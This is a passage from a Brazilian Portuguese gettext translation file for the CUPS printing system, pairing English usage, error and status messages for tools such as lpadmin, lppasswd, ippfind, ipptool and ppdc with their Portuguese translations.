"    lpadmin [-h server] -p printer [-c add-class] [-i interface] [-m model]\n"
"                       [-r remove-class] [-v device] [-D description]\n"
"                       [-P ppd-file] [-o name=value]\n"
"                       [-u allow:user,user] [-u deny:user,user]"
msgstr ""
"Uso:\n"
"\n"
"    lpadmin [-h servidor] -d destino\n"
"    lpadmin [-h servidor] -x destino\n"
"    lpadmin [-h servidor] -p impressora [-c add-classe] [-i interface]\n"
"                       [-m modelo] [-r remove-classe] [-v dispositivo]\n"
"                       [-D descrição] [-P arquivo-ppd] [-o nome=valor]\n"
"                       [-u allow:usuário,usuário] [-u deny:usuário,usuário]"

#, c-format
msgid "Usage: %s job-id user title copies options [file]"
msgstr "Uso: %s job-id usuário título cópias opções [arquivo]"

msgid "Usage: cupsaddsmb [options] printer1 ... printerN"
msgstr "Uso: cupsaddsmb [opções] impressora1 ... impressoraN"

msgid "Usage: cupsctl [options] [param=value ... paramN=valueN]"
msgstr "Uso: cupsctl [opções] [param=valor ... paramN=valorN]"

msgid "Usage: cupsd [options]"
msgstr "Uso: cupsd [opções]"

msgid "Usage: cupsfilter [ options ] filename"
msgstr "Uso: cupsfilter [ opções ] arquivo"

msgid "Usage: cupstestdsc [options] filename.ps [... filename.ps]"
msgstr "Uso: cupstestdsc [opções] arquivo.ps [... arquivo.ps]"

msgid ""
"Usage: cupstestppd [options] filename1.ppd[.gz] [... filenameN.ppd[.gz]]"
msgstr "Uso: cupstestppd [opções] arquivo1.ppd[.gz] [... arquivoN.ppd[.gz]]"

msgid ""
"Usage: ippdiscover [options] -a\n"
"       ippdiscover [options] \"service name\"\n"
"\n"
"Options:"
msgstr ""
"Uso: ippdiscover [opções] -a\n"
"     ippdiscover [opções] \"nome do serviço\"\n"
"\n"
"Opções:"

msgid ""
"Usage: ippfind [options] regtype[,subtype][.domain.] ... [expression]\n"
"       ippfind [options] name[.regtype[.domain.]] ... [expression]\n"
"       ippfind --help\n"
"       ippfind --version"
msgstr ""
"Uso: ippfind [opções] tiporeg[,tiposub][.domínio.] ... [expressões]\n"
"     ippfind [opções] nome[.tiporeg[.domínio.]] ... [expressões]\n"
"     ippfind --help\n"
"     ippfind --version"

msgid "Usage: ipptool [options] URI filename [ ... filenameN ]"
msgstr "Uso: ipptool [opções] URI arquivo [ ... arquivoN ]"

msgid "Usage: lpmove job/src dest"
msgstr "Uso: lpmove trabalho/fonte dest"

msgid ""
"Usage: lpoptions [-h server] [-E] -d printer\n"
"       lpoptions [-h server] [-E] [-p printer] -l\n"
"       lpoptions [-h server] [-E] -p printer -o option[=value] ...\n"
"       lpoptions [-h server] [-E] -x printer"
msgstr ""
"Uso: lpoptions [-h servidor] [-E] -d impressora\n"
"     lpoptions [-h servidor] [-E] [-p impressora] -l\n"
"     lpoptions [-h servidor] [-E] -p impressora -o opção[=valor] ...\n"
"     lpoptions [-h servidor] [-E] -x impressora"

msgid "Usage: lppasswd [-g groupname]"
msgstr "Uso: lppasswd [-g grupo]"

msgid ""
"Usage: lppasswd [-g groupname] [username]\n"
"       lppasswd [-g groupname] -a [username]\n"
"       lppasswd [-g groupname] -x [username]"
msgstr ""
"Uso: lppasswd [-g grupo] [usuário]\n"
"     lppasswd [-g grupo] -a [usuário]\n"
"     lppasswd [-g grupo] -x [usuário]"

msgid ""
"Usage: lpq [-P dest] [-U username] [-h hostname[:port]] [-l] [+interval]"
msgstr "Uso: lpq [-P dest] [-U usuário] [-h máquina[:porta]] [-l] [+intervalo]"

msgid "Usage: ppdc [options] filename.drv [ ... filenameN.drv ]"
msgstr "Uso: ppdc [opções] arquivo.drv [ ... arquivoN.drv ]"

msgid "Usage: ppdhtml [options] filename.drv >filename.html"
msgstr "Uso: ppdhtml [opções] arquivo.drv >arquivo.html"

msgid "Usage: ppdi [options] filename.ppd [ ... filenameN.ppd ]"
msgstr "Uso: ppdi [opções] arquivo.ppd [ ... arquivoN.ppd ]"

msgid "Usage: ppdmerge [options] filename.ppd [ ... filenameN.ppd ]"
msgstr "Uso: ppdmerge [opções] arquivo.ppd [ ... arquivoN.ppd ]"

msgid ""
"Usage: ppdpo [options] -o filename.po filename.drv [ ... filenameN.drv ]"
msgstr "Uso: ppdpo [opções] -o arquivo.po arquivo.drv [ ... arquivoN.drv ]"

msgid "Usage: snmp [host-or-ip-address]"
msgstr "Uso: snmp [máquina-ou-endereço-ip]"

msgid "Value uses indefinite length"
msgstr "Valor usa comprimento indefinido"

msgid "VarBind uses indefinite length"
msgstr "VarBind usa comprimento indefinido"

msgid "Version uses indefinite length"
msgstr "Version usa comprimento indefinido"

msgid "Waiting for job to complete."
msgstr "Esperando o trabalho completar."

msgid "Waiting for printer to become available."
msgstr "Esperando a impressora ficar disponível."

msgid "Waiting for printer to finish."
msgstr "Esperando a impressora finalizar."

msgid "Warning, no Windows 2000 printer drivers are installed."
msgstr "Aviso, nenhum driver de impressora Windows 2000 está instalado."

msgid "Web Interface is Disabled"
msgstr "Interface web está desabilitada"

msgid "Yes"
msgstr "Sim"

#, c-format
msgid ""
"You must access this page using the URL <A HREF=\"https://%s:%d%s\">https://"
"%s:%d%s</A>."
msgstr ""
"Você tem que acessar esta página usando a URL <A HREF=\"https://%s:%d%s"
"\">https://%s:%d%s</A>."

msgid ""
"Your password must be at least 6 characters long, cannot contain your "
"username, and must contain at least one letter and number."
msgstr ""
"Sua senha deve ser pelo menos de 6 caracteres, não pode conter o seu nome de "
"usuário, e deve conter pelo menos uma letra e um número."

msgid "ZPL Label Printer"
msgstr "Impressora de etiqueta ZPL"

msgid "Zebra"
msgstr "Zebra"

msgid "aborted"
msgstr "abortado"

msgid "canceled"
msgstr "cancelado"

msgid "completed"
msgstr "completou"

msgid "cups-deviced failed to execute."
msgstr "cups-deviced falhou na execução."

msgid "cups-driverd failed to execute."
msgstr "cups-driverd falhou na execução."

#, c-format
msgid "cupsaddsmb: No PPD file for printer \"%s\" - %s"
msgstr "cupsaddsmb: Nenhum arquivo PPD para a impressora \"%s\" - %s"

msgid "cupsctl: Cannot set Listen or Port directly."
msgstr "cupsctl: Não foi possível definir diretamente Porta ou Listen."

#, c-format
msgid "cupsctl: Unable to connect to server: %s"
msgstr "cupsctl: Não foi possível conectar o servidor: %s"

#, c-format
msgid "cupsctl: Unknown option \"%s\""
msgstr "cupsctl: Opção desconhecida \"%s\""

#, c-format
msgid "cupsctl: Unknown option \"-%c\""
msgstr "cupsctl: Opção desconhecida \"-%c\""

msgid "cupsd: Expected config filename after \"-c\" option."
msgstr "cupsd: Esperava nome de arquivo de configuração após a opção \"-c\"."

msgid "cupsd: Expected cups-files.conf filename after \"-s\" option."
msgstr ""
"cupsd: Esperava nome de arquivo de cups-files.conf após a opção \"-s\"."

msgid "cupsd: Relative cups-files.conf filename not allowed."
msgstr "cupsd: Nome de arquivo relativo para cups-files.conf não é permitido."

msgid "cupsd: Unable to get current directory."
msgstr "cupsd: Não é possível obter diretório atual."

msgid "cupsd: Unable to get path to cups-files.conf file."
msgstr ""
"cupsd: Não foi possível obter o caminho para o arquivo cups-files.conf."

#, c-format
msgid "cupsd: Unknown argument \"%s\" - aborting."
msgstr "cupsd: Argumento desconhecido \"%s\" - abortando."

#, c-format
msgid "cupsd: Unknown option \"%c\" - aborting."
msgstr "cupsd: Opção desconhecida \"%c\" - abortando."

msgid "cupsd: launchd(8) support not compiled in, running in normal mode."
msgstr ""
"cupsd: Compilado sem suporte a launchd(8) e, portanto, executando no modo "
"normal."

#, c-format
msgid "cupsfilter: Invalid document number %d."
msgstr "cupsfilter: Número de documento inválido %d."

#, c-format
msgid "cupsfilter: Invalid job ID %d."
msgstr "cupsfilter: ID de trabalho inválido %d."

msgid "cupsfilter: Only one filename can be specified."
msgstr "cupsfilter: Somente um nome de arquivo pode ser especificado."

#, c-format
msgid "cupsfilter: Unable to get job file - %s"
msgstr "cupsfilter: Não é possível obter o arquivo do trabalho - %s"

msgid "cupstestppd: The -q option is incompatible with the -v option."
msgstr "cupstestppd: A opção -q é incompatível com a opção -v."

msgid "cupstestppd: The -v option is incompatible with the -q option."
msgstr "cupstestppd: A opção -v é incompatível com a opção -q."

#, c-format
msgid "device for %s/%s: %s"
msgstr "dispositivo de %s/%s: %s"

#, c-format
msgid "device for %s: %s"
msgstr "dispositivo de %s: %s"

msgid "error-index uses indefinite length"
msgstr "error-index usa comprimento indefinido"

msgid "error-status uses indefinite length"
msgstr "error-status usa comprimento indefinido"

msgid "held"
msgstr "retido"

msgid "help\t\tGet help on commands."
msgstr "help\t\tObtém ajuda sobre os comandos."

msgid "idle"
msgstr "inativo"

#, c-format
msgid "ippfind: Bad regular expression: %s"
msgstr "ippfind: Expressão regular inválida: %s"

msgid "ippfind: Cannot use --and after --or."
msgstr "ippfind: Não é possível usar --and após --or."

#, c-format
msgid "ippfind: Expected key name after %s."
msgstr "ippfind: Esperava nome da chave após %s."

#, c-format
msgid "ippfind: Expected port range after %s."
msgstr "ippfind: Esperava faixa de portas após %s."

#, c-format
msgid "ippfind: Expected program after %s."
msgstr "ippfind: Esperava o programa após %s."

#, c-format
msgid "ippfind: Expected semi-colon after %s."
msgstr "ippfind: Esperava ponto-e-vírgula após %s."

msgid "ippfind: Missing close brace in substitution."
msgstr "ippfind: Faltando chave de fechamento na substituição."

msgid "ippfind: Missing close parenthesis."
msgstr "ippfind: Faltando parênteses de fechamento."

msgid "ippfind: Missing expression before \"--and\"."
msgstr "ippfind: Faltando expressão antes de \"--and\"."

msgid "ippfind: Missing expression before \"--or\"."
msgstr "ippfind: Faltando expressão antes de \"--or\"."

#, c-format
msgid "ippfind: Missing key name after %s."
msgstr "ippfind: Faltando nome da chave após %s."

msgid "ippfind: Missing open parenthesis."
msgstr "ippfind: Faltando parênteses de abertura."

#, c-format
msgid "ippfind: Missing program after %s."
msgstr "ippfind: Faltando programa após %s."

#, c-format
msgid "ippfind: Missing regular expression after %s."
msgstr "ippfind: Faltando expressão regular após %s."

#, c-format
msgid "ippfind: Missing semi-colon after %s."
msgstr "ippfind: Faltando dois-pontos após %s."

msgid "ippfind: Out of memory."
msgstr "ippfind: Memória insuficiente."

msgid "ippfind: Too many parenthesis."
msgstr "ippfind: Número excessivo de parênteses."

#, c-format
msgid "ippfind: Unable to browse or resolve: %s"
msgstr "ippfind: Não foi possível navegar ou resolver: %s"

#, c-format
msgid "ippfind: Unable to execute \"%s\": %s"
msgstr "ippfind: Não foi possível executar \"%s\": %s"

#, c-format
msgid "ippfind: Unable to use Bonjour: %s"
msgstr "ippfind: Não foi possível usar Bonjour: %s"

#, c-format
msgid "ippfind: Unknown variable \"{%s}\"."
msgstr "ippfind: Argumento desconhecido \"{%s}\"."

msgid "ipptool: \"-i\" and \"-n\" are incompatible with -X\"."
msgstr "ipptool: \"-i\" e \"-n\" são incompatíveis com \"-X\"."

#, c-format
msgid "ipptool: Bad URI - %s."
msgstr "ipptool: URI inválida - %s."

msgid "ipptool: Invalid seconds for \"-i\"."
msgstr "ipptool: Segundos inválidos para \"-i\"."

msgid "ipptool: May only specify a single URI."
msgstr "ipptool: Só é possível especificar uma única URI."

msgid "ipptool: Missing count for \"-n\"."
msgstr "ipptool: Contagem faltando para \"-n\"."

msgid "ipptool: Missing filename for \"-f\"."
msgstr "ipptool: Faltando nome de arquivo para \"-f\"."

msgid "ipptool: Missing name=value for \"-d\"."
msgstr "ipptool: Faltando nome=valor para\"-d\"."

msgid "ipptool: Missing seconds for \"-i\"."
msgstr "ipptool: Faltando segundos para \"-i\"."

msgid "ipptool: URI required before test file."
msgstr "ipptool: URI necessária antes do arquivo de teste."

#, c-format
msgid "ipptool: Unknown option \"-%c\"."
msgstr "ipptool: Opção desconhecida \"-%c\"."

msgid "job-printer-uri attribute missing."
msgstr "Faltando atributo de job-printer-uri."

msgid "lpadmin: Class name can only contain printable characters."
msgstr "lpadmin: Nome da classe só pode conter caracteres imprimíveis."

msgid "lpadmin: Expected PPD after \"-P\" option."
msgstr "lpadmin: Esperava PPD após a opção \"-P\"."

msgid "lpadmin: Expected allow/deny:userlist after \"-u\" option."
msgstr ""
"lpadmin: Esperava permitir/negar lista de usuários após a opção \"-u\"."

msgid "lpadmin: Expected class after \"-r\" option."
msgstr "lpadmin: Esperava a classe após a opção \"-r\"."

msgid "lpadmin: Expected class name after \"-c\" option."
msgstr "lpadmin: Esperava nome de classe após a opção \"-c\"."

msgid "lpadmin: Expected description after \"-D\" option."
msgstr "lpadmin: Esperava descrição após a opção \"-D\"."

msgid "lpadmin: Expected device URI after \"-v\" option."
msgstr "lpadmin: Esperava URI de dispositivo após a opção \"-v\"."

msgid "lpadmin: Expected file type(s) after \"-I\" option."
msgstr "lpadmin: Esperava tipo(s) de arquivo(s) após a opção \"-I\"."

msgid "lpadmin: Expected hostname after \"-h\" option."
msgstr "lpadmin: Esperava nome do máquina após a opção \"-h\"."

msgid "lpadmin: Expected interface after \"-i\" option."
msgstr "lpadmin: Esperava interface após a opção \"-i\"."

msgid "lpadmin: Expected location after \"-L\" option."
msgstr "lpadmin: Esperava localização após a opção \"-L\"."

msgid "lpadmin: Expected model after \"-m\" option."
msgstr "lpadmin: Esperava modelo após a opção \"-m\"."

msgid "lpadmin: Expected name after \"-R\" option."
msgstr "lpadmin: Esperava nome após a opção \"-R\"."

msgid "lpadmin: Expected name=value after \"-o\" option."
msgstr "lpadmin: Esperava nome=valor após a opção \"-o\"."

msgid "lpadmin: Expected printer after \"-p\" option."
msgstr "lpadmin: Esperava impressora após a opção \"-p\"."

msgid "lpadmin: Expected printer name after \"-d\" option."
msgstr "lpadmin: Esperava nome da impressora após a opção \"-d\"."

msgid "lpadmin: Expected printer or class after \"-x\" option."
msgstr "lpadmin: Esperava impressora ou classe após a opção \"-x\"."

msgid "lpadmin: No member names were seen."
msgstr "lpadmin: Nenhum nome de membros foi encontrado."

#, c-format
msgid "lpadmin: Printer %s is already a member of class %s."
msgstr "lpadmin: Impressora %s já é um membro da classe %s."

#, c-format
msgid "lpadmin: Printer %s is not a member of class %s."
msgstr "lpadmin: Impressora %s não é membro da classe %s."

msgid "lpadmin: Printer name can only contain printable characters."
msgstr "lpadmin: Nome da impressora só pode conter caracteres imprimíveis."

msgid ""
"lpadmin: Unable to add a printer to the class:\n"
"         You must specify a printer name first."
msgstr ""
"lpadmin: Não é possível adicionar impressora à classe\n"
"         Você deve primeiro especificar o nome da impressora."

#, c-format
msgid "lpadmin: Unable to connect to server: %s"
msgstr "lpadmin: Não foi possível conectar ao servidor: %s"

msgid "lpadmin: Unable to create temporary file"
msgstr "lpadmin: Não foi possível criar arquivo temporário"

msgid ""
"lpadmin: Unable to delete option:\n"
"         You must specify a printer name first."
msgstr ""
"lpadmin: Não foi possível excluir opção:\n"
"         Você deve primeiro especificar o nome da impressora."

#, c-format
msgid "lpadmin: Unable to open PPD file \"%s\" - %s"
msgstr "lpadmin: Não foi possível abrir o arquivo PPD \"%s\" - %s"

msgid ""
"lpadmin: Unable to remove a printer from the class:\n"
"         You must specify a printer name first."
msgstr ""
"lpadmin: Não foi possível excluir impressora da classe:\n"
"         Você deve primeiro especificar o nome da impressora."

msgid ""
"lpadmin: Unable to set the printer options:\n"
"         You must specify a printer name first."
msgstr ""
"lpadmin: Não foi possível definir as opções da impressora:\n"
"         Você deve primeiro especificar o nome da impressora."

#, c-format
msgid "lpadmin: Unknown allow/deny option \"%s\"."
msgstr "lpadmin: Opção de permitir/negar desconhecida \"%s\"."

#, c-format
msgid "lpadmin: Unknown argument \"%s\"."
msgstr "lpadmin: Argumento desconhecido \"%s\"."

#, c-format
msgid "lpadmin: Unknown option \"%c\"."
msgstr "lpadmin: Opção desconhecida \"%c\"."

msgid "lpadmin: Warning - content type list ignored."
msgstr "lpadmin: Aviso - lista de tipos de conteúdos ignorada."

msgid "lpc> "
msgstr "lpc> "

msgid "lpinfo: Expected 1284 device ID string after \"--device-id\"."
msgstr ""
"lpinfo: Esperava string de ID de dispositivo 1284 após \"--device-id\"."

msgid "lpinfo: Expected language after \"--language\"."
msgstr "lpinfo: Esperava idioma após \"--language\"."

msgid "lpinfo: Expected make and model after \"--make-and-model\"."
msgstr "lpinfo: Esperava marca e modelo após \"--make-and-model\"."

msgid "lpinfo: Expected product string after \"--product\"."
msgstr "lpinfo: Esperava string de produto após \"--product\"."

msgid "lpinfo: Expected scheme list after \"--exclude-schemes\"."
msgstr "lpinfo: Esperava lista de esquemas após \"--exclude-schemes\"."

msgid "lpinfo: Expected scheme list after \"--include-schemes\"."
msgstr "lpinfo: Esperava lista de esquemas após \"--include-schemes\"."

msgid "lpinfo: Expected timeout after \"--timeout\"."
msgstr "lpinfo: Esperava tempo de espera após \"--timeout\"."

#, c-format
msgid "lpinfo: Unknown argument \"%s\"."
msgstr "lpinfo: Argumento desconhecido \"%s\"."

#, c-format
msgid "lpinfo: Unknown option \"%c\"."
msgstr "lpinfo: Opção desconhecida \"%c\"."

#, c-format
msgid "lpinfo: Unknown option \"%s\"."
msgstr "lpinfo: Opção desconhecida \"%s\"."

#, c-format
msgid "lpmove: Unable to connect to server: %s"
msgstr "lpmove: Não foi possível conectar ao servidor: %s"

#, c-format
msgid "lpmove: Unknown argument \"%s\"."
msgstr "lpmove: Argumento desconhecido \"%s\"."

#, c-format
msgid "lpmove: Unknown option \"%c\"."
msgstr "lpmove: Opção desconhecida \"%c\"."

msgid "lpoptions: No printers."
msgstr "lpoptions: Nenhuma impressora."

#, c-format
msgid "lpoptions: Unable to add printer or instance: %s"
msgstr "lpoptions: Não foi possível adicionar impressora ou instância: %s"

#, c-format
msgid "lpoptions: Unable to get PPD file for %s: %s"
msgstr "lpoptions: Não foi possível obter o arquivo PPD para %s: %s"

#, c-format
msgid "lpoptions: Unable to open PPD file for %s."
msgstr "lpoptions: Não foi possível abrir o arquivo PPD para %s."

msgid "lpoptions: Unknown printer or class."
msgstr "lpoptions: Impressora ou classe desconhecida."

msgid "lppasswd: Only root can add or delete passwords."
msgstr "lppasswd: Somente o root pode adicionar ou excluir senhas."

msgid "lppasswd: Password file busy."
msgstr "lppasswd: Arquivo de senhas ocupado."

msgid "lppasswd: Password file not updated."
msgstr "lppasswd: Arquivo de senhas não atualizado."

msgid "lppasswd: Sorry, password doesn't match."
msgstr "lppasswd: Desculpe, senha não corresponde."

msgid "lppasswd: Sorry, password rejected."
msgstr "lppasswd: Desculpe, senha rejeitada."

msgid "lppasswd: Sorry, passwords don't match."
msgstr "lppasswd: Desculpe, senhas não correspondem."

#, c-format
msgid "lppasswd: Unable to copy password string: %s"
msgstr "lppasswd: Não foi possível copiar string de senha: %s"

#, c-format
msgid "lppasswd: Unable to open password file: %s"
msgstr "lppasswd: Não foi possível abrir arquivo de senhas: %s"

#, c-format
msgid "lppasswd: Unable to write to password file: %s"
msgstr "lppasswd: Não foi possível gravar no arquivo de senha: %s"

#, c-format
msgid "lppasswd: failed to backup old password file: %s"
msgstr "lppasswd: Falha ao fazer backup do arquivo de senhas antigo: %s"

#, c-format
msgid "lppasswd: failed to rename password file: %s"
msgstr "lppasswd: Falha ao renomear arquivo de senhas: %s"

#, c-format
msgid "lppasswd: user \"%s\" and group \"%s\" do not exist."
msgstr "lppasswd: Usuário \"%s\" e grupo \"%s\" não existem."

#, c-format
msgid ""
"lpstat: error - %s environment variable names non-existent destination \"%s"
"\"."
msgstr ""
"lpstat: Erro - variável de ambiente %s contém destino inexistente \"%s\"."

#, c-format
msgid "members of class %s:"
msgstr "membros da classe %s:"

msgid "no entries"
msgstr "nenhum registro"

msgid "no system default destination"
msgstr "nenhum destino padrão de sistema"

msgid "notify-events not specified."
msgstr "notify-events não especificado."

#, c-format
msgid "notify-recipient-uri URI \"%s\" is already used."
msgstr "URI de notify-recipient-uri \"%s\" já está sendo usada."

#, c-format
msgid "notify-recipient-uri URI \"%s\" uses unknown scheme."
msgstr "URI de notify-recipient-uri \"%s\" usa um esquema desconhecido."

msgid "pending"
msgstr "pendente"

#, c-format
msgid "ppdc: Adding include directory \"%s\"."
msgstr "ppdc: Adicionando diretório de include \"%s\"."

#, c-format
msgid "ppdc: Adding/updating UI text from %s."
msgstr "ppdc: Adicionando/atualizando texto de UI de %s."

#, c-format
msgid "ppdc: Bad boolean value (%s) on line %d of %s."
msgstr "ppdc: Valor booleano inválido (%s) na linha %d de %s."

#, c-format
msgid "ppdc: Bad font attribute: %s"
msgstr "ppdc: Atributo de fonte inválido: %s"

#, c-format
msgid "ppdc: Bad resolution name \"%s\" on line %d of %s."
msgstr "ppdc: Nome de resolução inválido \"%s\" na linha %d de %s."

#, c-format
msgid "ppdc: Bad status keyword %s on line %d of %s."
msgstr "ppdc: palavra-chave de estado inválida %s na linha %d de %s."

#, c-format
msgid "ppdc: Bad variable substitution ($%c) on line %d of %s."
msgstr "ppdc: Substituição de variável inválida ($%c) na linha %d de %s."

#, c-format
msgid "ppdc: Choice found on line %d of %s with no Option."
msgstr "ppdc: Escolha encontrada na linha %d de %s com nenhuma opção."

#, c-format
msgid "ppdc: Duplicate #po for locale %s on line %d of %s."
msgstr "ppdc: Duplicata de #po para o local %s na linha %d de %s."

#, c-format
msgid "ppdc: Expected a filter definition on line %d of %s."
msgstr "ppdc: Esperava a definição de um filtro na linha %d de %s."

#, c-format
msgid "ppdc: Expected a program name on line %d of %s."
msgstr "ppdc: Esperava o nome de um programa na linha %d de %s."

#, c-format
msgid "ppdc: Expected boolean value on line %d of %s."
msgstr "ppdc: Esperava um valor booleano na linha %d de %s."

#, c-format
msgid "ppdc: Expected charset after Font on line %d of %s."
msgstr "ppdc: Esperava conjunto de caracteres após Font na linha %d de %s."

#, c-format
msgid "ppdc: Expected choice code on line %d of %s."
msgstr "ppdc: Esperava código de escolha na linha %d de %s."

#, c-format
msgid "ppdc: Expected choice name/text on line %d of %s."
msgstr "ppdc: Esperava texto/nome de escolha na linha %d de %s."

#, c-format
msgid "ppdc: Expected color order for ColorModel on line %d of %s."
msgstr "ppdc: Esperava ordem de cores para ColorModel na linha %d de %s."

#, c-format
msgid "ppdc: Expected colorspace for ColorModel on line %d of %s."
msgstr "ppdc: Esperava espaço de cores para ColorModel na linha %d de %s."

#, c-format
msgid "ppdc: Expected compression for ColorModel on line %d of %s."
msgstr "ppdc: Esperava compressão para ColorModel na linha %d de %s."

#, c-format
msgid "ppdc: Expected constraints string for UIConstraints on line %d of %s."
msgstr ""
"ppdc: Esperava string de restrições para UIConstraints na linha %d de %s."

#, c-format
msgid ""
"ppdc: Expected driver type keyword following DriverType on line %d of %s."
msgstr ""
"ppdc: Esperava palavra-chave de tipo de driver seguindo DriverType na linha "
"%d de %s."

#, c-format
msgid "ppdc: Expected duplex type after Duplex on line %d of %s."
msgstr "ppdc: Esperava tipo Duplex após Duplex na linha %d de %s."

#, c-format
msgid "ppdc: Expected encoding after Font on line %d of %s."
msgstr "ppdc: Esperava codificação após Font na linha %d de %s."

#, c-format
msgid "ppdc: Expected filename after #po %s on line %d of %s."
msgstr "ppdc: Esperava nome de arquivo após #po %s na linha %d de %s."

#, c-format
msgid "ppdc: Expected group name/text on line %d of %s."
msgstr "ppdc: Esperava text/nome de grupo na linha %d de %s."

#, c-format
msgid "ppdc: Expected include filename on line %d of %s."
msgstr "ppdc: Esperava inclusão de nome de arquivo na linha %d de %s."

#, c-format
msgid "ppdc: Expected integer on line %d of %s."
msgstr "ppdc: Esperava número inteiro na linha %d de %s."

#, c-format
msgid "ppdc: Expected locale after #po on line %d of %s."
msgstr "ppdc: Esperava local após #po na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after %s on line %d of %s."
msgstr "ppdc: Esperava nome após %s na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after FileName on line %d of %s."
msgstr "ppdc: Esperava nome após FileName na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after Font on line %d of %s."
msgstr "ppdc: Esperava nome após Font na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after Manufacturer on line %d of %s."
msgstr "ppdc: Esperava nome após Manufacturer na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after MediaSize on line %d of %s."
msgstr "ppdc: Esperava nome após MediaSize na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after ModelName on line %d of %s."
msgstr "ppdc: Esperava nome após ModelName na linha %d de %s."

#, c-format
msgid "ppdc: Expected name after PCFileName on line %d of %s."
msgstr "ppdc: Esperava nome após PCFileName na linha %d de %s."

#, c-format
msgid "ppdc: Expected name/text after %s on line %d of %s."
msgstr "ppdc: Esperava nome/texto após %s na linha %d de %s."

#, c-format
msgid "ppdc: Expected name/text after Installable on line %d of %s."
msgstr "ppdc: Esperava nome/texto após Installable na linha %d de %s."

#, c-format
msgid "ppdc: Expected name/text after Resolution on line %d of %s."
msgstr "ppdc: Esperava nome/texto após Resolution na linha %d de %s."

#, c-format
msgid "ppdc: Expected name/text combination for ColorModel on line %d of %s."
msgstr ""
"ppdc: Esperava combinação de nome/texto para ColorModel na linha %d de %s."

#, c-format
msgid "ppdc: Expected option name/text on line %d of %s."
msgstr "ppdc: Esperava opção de nome/texto na linha %d de %s."

#, c-format
msgid "ppdc: Expected option section on line %d of %s."
msgstr "ppdc: Esperava opção de seção na linha %d de %s."

#, c-format
msgid "ppdc: Expected option type on line %d of %s."
msgstr "ppdc: Esperava tipo da opção na linha %d de %s."

#, c-format
msgid "ppdc: Expected override field after Resolution on line %d of %s."
msgstr ""
"ppdc: Esperava um campo de substituição após Resolution na linha %d de %s."

#, c-format
msgid "ppdc: Expected quoted string on line %d of %s."
msgstr "ppdc: Esperava string em aspas na linha %d de %s."

#, c-format
msgid "ppdc: Expected real number on line %d of %s."
msgstr "ppdc: Esperava número real na linha %d de %s."

#, c-format
msgid ""
"ppdc: Expected resolution/mediatype following ColorProfile on line %d of %s."
msgstr ""
"ppdc: Esperava resolução/tipo de mídia seguindo ColorProfile na linha %d de "
"%s."

#, c-format
msgid ""
"ppdc: Expected resolution/mediatype following SimpleColorProfile on line %d "
"of %s."
msgstr ""
"ppdc: Esperava resolução/tipo de mídia seguindo SimpleColorProfile na linha "
"%d de %s."

#, c-format
msgid "ppdc: Expected selector after %s on line %d of %s."
msgstr "ppdc: Esperava seletor após %s na linha %d de %s."

#, c-format
msgid "ppdc: Expected status after Font on line %d of %s."
msgstr "ppdc: Esperava estado após Font na linha %d de %s."

#, c-format
msgid "ppdc: Expected string after Copyright on line %d of %s."
msgstr "ppdc: Esperava string após Copyright na linha %d de %s."

#, c-format
msgid "ppdc: Expected string after Version on line %d of %s."
msgstr "ppdc: Esperava string após Version na linha %d de %s."

#, c-format
msgid "ppdc: Expected two option names on line %d of %s."
msgstr "ppdc: Esperava nomes de duas opções na linha %d de %s."

#, c-format
msgid "ppdc: Expected value after %s on line %d of %s."
msgstr "ppdc: Esperava valor após %s na linha %d de %s."

#, c-format
msgid "ppdc: Expected version after Font on line %d of %s."
msgstr "ppdc: Esperava versão após Font na linha %d de %s."

#, c-format
msgid "ppdc: Invalid #include/#po filename \"%s\"."
msgstr "ppdc: Nome de arquivo \"%s\" de #include/#po inválido. "

#, c-format
msgid "ppdc: Invalid cost for filter on line %d of %s."
msgstr "ppdc: Custo inválido para filtro na linha %d de %s."

#, c-format
msgid "ppdc: Invalid empty MIME type for filter on line %d of %s."
msgstr "ppdc: Tipo MIME vazio inválido para filtro na linha %d de %s."

#, c-format
msgid "ppdc: Invalid empty program name for filter on line %d of %s."
msgstr "ppdc: Nome de programa vazio inválido na linha %d de %s."

#, c-format
msgid "ppdc: Invalid option section \"%s\" on line %d of %s."
msgstr "ppdc: Seção \"%s\" inválida de opção na linha %d de %s."

#, c-format
msgid "ppdc: Invalid option type \"%s\" on line %d of %s."
msgstr "ppdc: Tipo \"%s\" inválido de opção na linha %d de %s."

#, c-format
msgid "ppdc: Loading driver information file \"%s\"."
msgstr "ppdc: Carregando arquivo \"%s\" de informações de driver."

#, c-format
msgid "ppdc: Loading messages for locale \"%s\"."
msgstr "ppdc: Carregando mensagens para locale \"%s\" ."

#, c-format
msgid "ppdc: Loading messages from \"%s\"."
msgstr "ppdc: Carregando mensagens de \"%s\"."

#, c-format
msgid "ppdc: Missing #endif at end of \"%s\"."
msgstr "ppdc: Faltando #endif ao final de \"%s\"."

#, c-format
msgid "ppdc: Missing #if on line %d of %s."
msgstr "ppdc: Faltando #if na linha %d de %s."

#, c-format
msgid ""
"ppdc: Need a msgid line before any translation strings on line %d of %s."
msgstr ""
"ppdc: Precisa de uma linha de msgid antes de qualquer string de tradução na "
"linha %d de %s."

#, c-format
msgid "ppdc: No message catalog provided for locale %s."
msgstr "ppdc: Nenhum catálogo de mensagens fornecido para o locale %s."

#, c-format
msgid "ppdc: Option %s defined in two different groups on line %d of %s."
msgstr "ppdc: Opção %s definida em dois grupos diferentes na linha %d de %s."

#, c-format
msgid "ppdc: Option %s redefined with a different type on line %d of %s."
msgstr "ppdc: Opção %s redefinida com um tipo diferente na linha %d de %s."

#, c-format
msgid "ppdc: Option constraint must *name on line %d of %s."
msgstr "ppdc: Restrição da opção deve *name na linha %d de %s."

#, c-format
msgid "ppdc: Too many nested #if's on line %d of %s."
msgstr "ppdc: Muitos #if aninhados demais na linha %d de %s."

#, c-format
msgid "ppdc: Unable to create PPD file \"%s\" - %s."
msgstr "ppdc: Não foi possível criar o arquivo PPD \"%s\" - %s."

#, c-format
msgid "ppdc: Unable to create output directory %s: %s"
msgstr "ppdc: Não foi possível criar diretório de saída %s: %s"

#, c-format
msgid "ppdc: Unable to create output pipes: %s"
msgstr "ppdc: Não foi possível criar redirecionamento de saída: %s"

#, c-format
msgid "ppdc: Unable to execute cupstestppd: %s"
msgstr "ppdc: Não foi possível executar cupstestppd: %s"

#, c-format
msgid "ppdc: Unable to find #po file %s on line %d of %s."
